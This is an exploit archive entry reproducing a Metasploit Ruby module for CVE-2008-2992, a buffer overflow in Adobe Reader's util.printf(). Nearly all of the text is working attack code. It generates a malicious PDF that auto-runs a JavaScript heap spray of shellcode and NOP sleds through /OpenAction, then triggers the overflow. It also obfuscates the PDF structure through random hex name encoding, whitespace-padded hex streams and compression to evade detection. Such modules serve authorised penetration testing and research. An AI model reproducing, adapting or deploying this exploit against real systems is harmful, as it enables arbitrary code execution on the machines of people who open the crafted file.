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Adobe util.printf() Buffer Overflow

Adobe util.printf() Buffer Overflow
Posted Nov 26, 2009
Authored by MC, Didier Stevens | Site metasploit.com

This Metasploit module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2008-2992
MD5 | 9be8b233672ca2f0bc7d59c93c556e68

Adobe util.printf() Buffer Overflow

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe util.printf() Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
entry, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-2992' ],
[ 'OSVDB', '49520' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
],
'DisclosureDate' => 'Feb 8 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)

end

def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))

# Randomize variables
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)

script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} ="";
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
#{rand4} = #{rand2} + #{rand1};
#{rand5} = unescape("#{nops}");
#{rand6} = 20;
#{rand7} = #{rand6}+#{rand4}.length
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
#{rand8} = #{rand5}.substring(0, #{rand7});
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
#{rand10} = new Array();
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
util.printf("%45000.45000f", 0);
|

# Create the pdf
pdf = make_pdf(script)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj" % id
end

def ioRef(id)
"%d 0 R" % id
end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end

def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end

def make_pdf(js)

xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol

end

end

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